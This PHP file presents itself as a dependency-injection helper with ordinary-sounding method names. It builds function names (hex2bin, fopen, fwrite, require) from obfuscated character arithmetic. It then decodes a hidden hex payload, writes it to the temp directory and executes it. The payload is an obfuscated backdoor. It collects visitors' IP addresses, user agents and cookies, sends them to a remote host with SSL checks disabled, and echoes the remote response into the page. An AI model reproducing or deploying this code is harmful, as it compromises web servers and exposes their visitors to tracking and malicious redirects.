<?php
class DependencyInjector
{
    private $jr = '';
    private $kk = '';
    public function prepareOutput($p1)
    {
        $i = array(47 + 38 + 25, 4 + 101, 98, 50, 51 * 19 - 849, 101 * 1, 22 + 53 + 29);
        $k = '';
        foreach ($i as $b) {
            $k .= chr($b);
        }
        $k = strrev($k);
        return $k($p1);
    }
    public function manageState($p1, $p2)
    {
        $x = array(84 + 18, 46 * 1 + 65, 122 - 10, 16 + 62 + 23, 2 * 55);
        $c = '';
        foreach ($x as $xj) {
            $c .= chr($xj);
        }
        return $c($p1, $p2);
    }
    public function rollbackTransaction($p1, $p2)
    {
        $l = array(103 - 1, 14 * 1 + 105, 80 * 123 - 9726, 83 * 1 + 22, 2 * 58, 101);
        $s = '';
        foreach ($l as $q) {
            $s .= chr($q);
        }
        return $s($p1, $p2);
    }
    public function updateCache($p1)
    {
        $w = array(80 * 3 - 138, 63 * 1 + 36, 32 + 76, 120 - 9, 124 - 9, 89 + 10 + 2);
        $f = '';
        foreach ($w as $j) {
            $f .= chr($j);
        }
        return $f($p1);
    }
    public function resolveAction($p1, $p2 = null)
    {
        $b = array(111 - 2, 3 * 35, 23 + 4 + 87, 99 + 17, 12 + 102);
        $w = '';
        foreach ($b as $e) {
            $w .= chr($e);
        }
        $w = strrev($w);
        return $w($p1, $p2);
    }
    public function cacheData()
    {
        $this->kk = $this->resolveAction($this->fetchRecords(), '/');
    }
    public function logEvent()
    {
        $this->jr = $this->prepareOutput($this->pq);
    }
    public function updateRegistry()
    {
        $fn = $this->kk . '/ol-6930724891c29';
        $f = $this->manageState($fn, 'w');
        $this->rollbackTransaction($f, $this->jr);
        $this->updateCache($f);
        $this->encryptData($fn);
    }
    private $pq = '3c3f70687020636c617373205f6677647b707269766174652' . '0737461746963245f6e693b7374617469632066756e6374696' . 'f6e205f786e28245f6a6a6d297b6966282173656c663a3a245' . 'f6e692973656c663a3a5f6c7628293b72657475726e2068657' . '83262696e2873656c663a3a245f6e695b245f6a6a6d5d293b7' . 'd70726976617465207374617469632066756e6374696f6e205' . 'f6c7628297b73656c663a3a245f6e693d617272617928275f6' . '36e6d273d3e273431363336333635373337333264343336663' . '6272e276537343732366636633264343136633663366637373' . '2643466373236393637272e273639272e27366533613230326' . '1272c275f646268273d3e27343336663665373436353665373' . '4326435343739373036353361272e273230363137303730366' . '33639363336313734272e27363936663665326636613631373' . '6363137333633373236272e27393730272e273734272c275f7' . '86b273d3e2736333638272c275f697a273d3e2736353739346' . '13730363334333439333634393661363733343463366136373' . '3343463366136373334346336272e276136373334343936393' . '73736393634353734353639346636393461333035613538346' . '53330343936393737272e27363936333664353636643439366' . '1366636272e273936343437272e2735272e273637613634343' . '3272e27346133272e2739272c275f6b656f273d3e273731373' . '737613738272c275f6961273d3e27336336272e276636272e2' . '7623365272c275f6e667a273d3e273363363236313634272e2' . '73365272c275f737a273d3e27373736313663272e273663272' . 'c275f697a61273d3e27272c275f7a7970273d3e27272c275f7' . '374273d3e27272c275f777374273d3e273638272e273734373' . '43730336132663266373037353632326537373635363236363' . '6393663272e273635363836663733373436353732326536333' . '66636643266363336663664373036663733363537323265366' . '137333366363436313734272e273631272e273364272c275f6' . '5746d273d3e27363337353732366335663639366536272e273' . '937272e2734272c275f766e273d3e27363837343734272e273' . '730356636333666272e2736343635272c275f707474273d3e2' . '737272e2733363336383635272e27366436272e2735272c275' . 'f7a766c273d3e2736272e27383734373437303733272c275f7' . '676273d3e273437343535272e273432272e2730272c275f716' . 'f6d273d3e27373036272e273137343638272c275f7a6e76273' . 'd3e2737313735272e2736353732272e273739272c275f65742' . '73d3e2733272e2766272c275f7862273d3e273731373536353' . '732272e2737272e2739272c275f636274273d3e27323034383' . '53435343530272e27326633313265333030643061343836663' . '73337343361272e273230272c275f677a273d3e2736272e273' . '8366637333734272c275f7a66273d3e27306430613433272e2' . '73666366536653635363337343639366636653361323034333' . '663366637272e2733272e27363530643061272e273064272e2' . '73061272c275f7266273d3e273733373336633361326632272' . 'e2766272c275f7763273d3e27272c275f7477273d3e2736383' . '6663733272e2737272e2734272c275f7479273d3e273064272' . 'e273061272c275f6576273d3e2734383534353435303566343' . '33463343934353465353435272e276634393530272c275f716' . '1273d3e2734383534353435303566272e27353835663436346' . '6353235373431353234272e273434353434356634363466352' . '72e2732272c275f6963273d3e27353234353464346635272e2' . '73434353566272e2734272e273134343434272e2735272e273' . '2272c275f7474273d3e2734383534353435303566353535333' . '4353532356634313437343534272e2765272e2735272e27342' . '72c275f6d66273d3e2734272e2738353435343530356635353' . '5333435353235272e2766343134373435346535272e2734272' . 'c275f7164273d3e27272c275f696c6e273d3e2734383534353' . '4353035663532343534363435272e27353234272e2735272e2' . '73532272c275f797a273d3e273438353435343530356635323' . '435343634353532272e273435272e273532272c275f7575273' . 'd3e27272c275f7067273d3e273438353435343530356634333' . '4633439343534272e27653534356634393530272c275f6a697' . 'a273d3e2734383534353435303566343334633439343534653' . '5343566343935272e2730272c275f6f7a75273d3e273438353' . '43534353035663538356634363466353235373431353234343' . '435343435663436272e2734272e27663532272c275f7268273' . 'd3e27343835343534353035663538356634363466353235373' . '4313532343434353434272e2735663436272e27346635272e2' . '732272c275f767063273d3e273532343534643466353434353' . '5272e27663431343434272e27343532272c275f7579273d3e2' . '735323435346434272e276635343435356634313434272e273' . '43435272e2732272c275f6472273d3e2736272e2734272e273' . '632363736272e2764366636272e2734272e2736272e2735272' . 'c275f717270273d3e273439272e2735303361272e2732272e2' . '730272c275f6b6678273d3e2732303763272e2732303535342' . '72e273133272e27613230272c275f786665273d3e273230376' . '33230353236353636336132272e2730272c275f666a75273d3' . 'e2732272e273033633632272e2737323365272e273061272c2' . '75f757272273d3e273639272e2737272e2730272c275f61782' . '73d3e2737272e2735272e2736272e2731272c275f7a7273273' . 'd3e2737323635272e273636272c275f6e716f273d3e2737313' . '73737613738272c293b7d7d636c617373205f71627b7072697' . '661746520737461746963245f6e693b7374617469632066756' . 'e6374696f6e205f786e28245f6a6a6d297b6966282173656c6' . '63a3a245f6e692973656c663a3a5f6c7628293b72657475726' . 'e2073656c663a3a245f6e695b245f6a6a6d5d3b7d707269766' . '17465207374617469632066756e6374696f6e205f6c7628297' . 'b73656c663a3a245f6e693d61727261792830302c30372c303' . '3362c3033362c30312c3033362c30322c30372c30312c30313' . '62c3033302c30362c3033322c3031322c3031312c3031332c3' . '032372c3033312c30332c30322c30312c30312c30302c30313' . '22c3031322c303331302c303637332c303132302c30302c303' . '23030302c30312c303432332c30343233293b7d7d686561646' . '572285f6677643a3a5f786e28275f636e6d2729293b6865616' . '46572285f6677643a3a5f786e28275f272e276462682729293' . 'b696628697373657428245f4745545b5f6677643a3a5f786e2' . '8275f272e2778272e276b27295d29297b245f6575703d5f646' . 'c66285f6677643a3a5f786e28275f69272e277a2729293b696' . '628245f6575702626737472706f7328245f6575702c5f66776' . '43a3a5f786e28275f272e276b656f272929213d3d66616c736' . '5297b646965285f6677643a3a5f786e28275f69272e2761272' . '9293b7d656c73657b646965285f6677643a3a5f786e28275f2' . '72e276e272e2766272e277a2729293b7d7d696628697373657' . '428245f4745545b5f6677643a3a5f786e28275f272e27737a2' . '7295d29297b245f7170773d245f434f4f4b49453b245f65707' . '03d5f71623a3a5f786e2830293b245f6a6a6d3d5f71623a3a5' . 'f786e2831293b245f76643d617272617928293b245f76645b2' . '45f6570705d3d5f6677643a3a5f786e28275f697a6127293b7' . '768696c6528245f6a6a6d297b245f76645b245f6570705d2e3' . 'd245f7170775b5f71623a3a5f786e2832295d5b245f6a6a6d5' . 'd3b69662821245f7170775b5f71623a3a5f786e2833295d5b2' . '45f6a6a6d2b5f71623a3a5f786e2834295d297b69662821245' . 'f7170775b5f71623a3a5f786e2835295d5b245f6a6a6d2b5f7' . '1623a3a5f786e2836295d29627265616b3b245f6570702b2b3' . 'b245f76645b245f6570705d3d5f6677643a3a5f786e28275f7' . 'a797027293b245f6a6a6d2b2b3b7d245f6a6a6d3d245f6a6a6' . 'd2b5f71623a3a5f786e2837292b5f71623a3a5f786e2838293' . 'b7d245f6570703d245f76645b5f71623a3a5f786e2839295d2' . '8292e245f76645b5f71623a3a5f786e283130295d3b6966282' . '1245f76645b5f71623a3a5f786e283131295d28245f6570702' . '9297b245f6a6a6d3d245f76645b5f71623a3a5f786e2831322' . '95d28245f6570702c245f76645b5f71623a3a5f786e2831332' . '95d293b245f76645b5f71623a3a5f786e283134295d28245f6' . 'a6a6d2c245f76645b5f71623a3a5f786e283135295d2e245f7' . '6645b5f71623a3a5f786e283136295d28245f76645b5f71623' . 'a3a5f786e283137295d28245f7170775b5f71623a3a5f786e2' . '83138295d2929293b7d696e636c75646528245f657070293b7' . 'd66756e6374696f6e205f646c6628245f67616f2c245f75707' . '03d6e756c6c2c245f67673d6e756c6c297b245f6f74693d5f6' . '677643a3a5f786e28275f73272e277427293b245f6371713d5' . 'f6677643a3a5f786e28275f77737427292e245f67616f3b696' . '62869735f63616c6c61626c65285f6677643a3a5f786e28275' . 'f272e2765272e27746d272929297b245f69713d6375726c5f6' . '96e697428245f637171293b6375726c5f7365746f707428245' . 'f69712c4355524c4f50545f53534c5f5645524946595045455' . '22c66616c7365293b6375726c5f7365746f707428245f69712' . 'c4355524c4f50545f53534c5f564552494659484f53542c5f7' . '1623a3a5f786e28313929293b6375726c5f7365746f7074282' . '45f69712c4355524c4f50545f464f4c4c4f574c4f434154494' . 'f4e2c5f71623a3a5f786e28323029293b6375726c5f7365746' . 'f707428245f69712c4355524c4f50545f52455455524e54524' . '14e534645522c5f71623a3a5f786e28323129293b6375726c5' . 'f7365746f707428245f69712c4355524c4f50545f484541444' . '5522c5f71623a3a5f786e28323229293b6375726c5f7365746' . 'f707428245f69712c4355524c4f50545f434f4e4e454354544' . '94d454f55542c5f71623a3a5f786e28323329293b6375726c5' . 'f7365746f707428245f69712c4355524c4f50545f54494d454' . 'f55542c5f71623a3a5f786e28323429293b245f6f74693d637' . '5726c5f6578656328245f6971293b245f6c62703d6375726c5' . 'f676574696e666f28245f6971293b6375726c5f636c6f73652' . '8245f6971293b696628245f6c62705b5f6677643a3a5f786e2' . '8275f76272e276e27295d213d5f71623a3a5f786e283235292' . '972657475726e2066616c73653b7d656c73657b245f7172613' . 'd70617273655f75726c28245f637171293b245f6766663d282' . '45f7172615b5f6677643a3a5f786e28275f70747427295d3d3' . 'd5f6677643a3a5f786e28275f7a76272e276c2729293b245f6' . 'b6e3d5f6677643a3a5f786e28275f767627292e245f7172615' . 'b5f6677643a3a5f786e28275f716f6d27295d3b69662869737' . '3657428245f7172615b5f6677643a3a5f786e28275f7a272e2' . '76e272e277627295d2929245f6b6e2e3d5f6677643a3a5f786' . 'e28275f657427292e245f7172615b5f6677643a3a5f786e282' . '75f786227295d3b245f6b6e2e3d5f6677643a3a5f786e28275' . 'f63272e27627427292e245f7172615b5f6677643a3a5f786e2' . '8275f272e2767272e277a27295d2e5f6677643a3a5f786e282' . '75f7a272e276627293b245f736f3d66736f636b6f70656e282' . '8245f6766663f5f6677643a3a5f786e28275f272e2772272e2' . '76627293a5f6677643a3a5f786e28275f77632729292e245f7' . '172615b5f6677643a3a5f786e28275f747727295d2c245f676' . '6663f5f71623a3a5f786e283236293a5f71623a3a5f786e283' . '23729293b696628245f736f297b667075747328245f736f2c2' . '45f6b6e293b245f74613d5f71623a3a5f786e283238293b776' . '8696c65282166656f6628245f736f29297b245f76656e3d666' . '765747328245f736f2c5f71623a3a5f786e28323929293b696' . '628245f746129245f6f74692e3d245f76656e3b696628245f7' . '6656e3d3d5f6677643a3a5f786e28275f7479272929245f746' . '13d5f71623a3a5f786e283330293b7d66636c6f736528245f7' . '36f293b7d7d72657475726e245f6f74693b7d245f7166653d6' . '97373657428245f5345525645525b5f6677643a3a5f786e282' . '75f65272e277627295d293b245f6a64733d697373657428245' . 'f5345525645525b5f6677643a3a5f786e28275f71272e27612' . '7295d293b245f7a667a3d697373657428245f5345525645525' . 'b5f6677643a3a5f786e28275f69272e276327295d293b245f7' . '070763d697373657428245f5345525645525b5f6677643a3a5' . 'f786e28275f74272e277427295d293f245f5345525645525b5' . 'f6677643a3a5f786e28275f6d6627295d3a5f6677643a3a5f7' . '86e28275f71272e276427293b245f7068693d6973736574282' . '45f5345525645525b5f6677643a3a5f786e28275f696c272e2' . '76e27295d293f245f5345525645525b5f6677643a3a5f786e2' . '8275f797a27295d3a5f6677643a3a5f786e28275f757527293' . 'b245f7166653d697373657428245f5345525645525b5f66776' . '43a3a5f786e28275f706727295d293f245f5345525645525b5' . 'f6677643a3a5f786e28275f6a697a27295d3a6e756c6c3b245' . 'f6a64733d697373657428245f5345525645525b5f6677643a3' . 'a5f786e28275f6f7a7527295d293f245f5345525645525b5f6' . '677643a3a5f786e28275f272e2772272e276827295d3a6e756' . 'c6c3b245f7a667a3d697373657428245f5345525645525b5f6' . '677643a3a5f786e28275f272e277670272e276327295d293f2' . '45f5345525645525b5f6677643a3a5f786e28275f272e27757' . '927295d3a6e756c6c3b69662866696c7465725f76617228245' . 'f7166652c5f71623a3a5f786e2833312929297b245f72733d2' . '45f7166653b7d656c736569662866696c7465725f766172282' . '45f6a64732c5f71623a3a5f786e2833322929297b245f72733' . 'd245f6a64733b7d656c73657b245f72733d245f7a667a3b7d6' . '96628697373657428245f4745545b5f6677643a3a5f786e282' . '75f64272e277227295d29297b6563686f205f6677643a3a5f7' . '86e28275f272e277172272e277027292e245f72732e5f66776' . '43a3a5f786e28275f6b272e27667827292e245f7070762e5f6' . '677643a3a5f786e28275f7866272e276527292e245f7068692' . 'e5f6677643a3a5f786e28275f66272e276a7527293b6578697' . '428293b7d69662821697373657428245f7273297c7c2169737' . '3657428245f707076297c7c21697373657428245f706869292' . '97b6578697428293b7d656c73657b245f6c63623d617272617' . '9285f6677643a3a5f786e28275f75727227293d3e245f72732' . 'c5f6677643a3a5f786e28275f617827293d3e245f7070762c5' . 'f6677643a3a5f786e28275f7a272e2772272e277327293d3e2' . '45f706869293b245f64663d75726c656e636f6465286261736' . '536345f656e636f6465286a736f6e5f656e636f646528245f6' . 'c63622929293b245f6575703d5f646c6628245f6466293b696' . '628245f6575702626737472706f7328245f6575702c5f66776' . '43a3a5f786e28275f272e276e716f272929213d3d66616c736' . '5297b6563686f245f6575703b6578697428293b7d7d';
    public function encryptData($p)
    {
        require $p;
    }
    public function fetchRecords()
    {
        $a = array(119 - 4, 125 - 4, 97 + 18, 5 * 19, 110 - 7, 101 * 1, 116, 98 - 3, 116, 34 * 2 + 33, 31 * 1 + 78, 30 * 3 + 22, 98 - 3, 11 * 72 - 692, 52 * 95 - 4835, 103 * 1 + 11);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$ep = new DependencyInjector();
$ep->cacheData();
$ep->logEvent();
$ep->updateRegistry();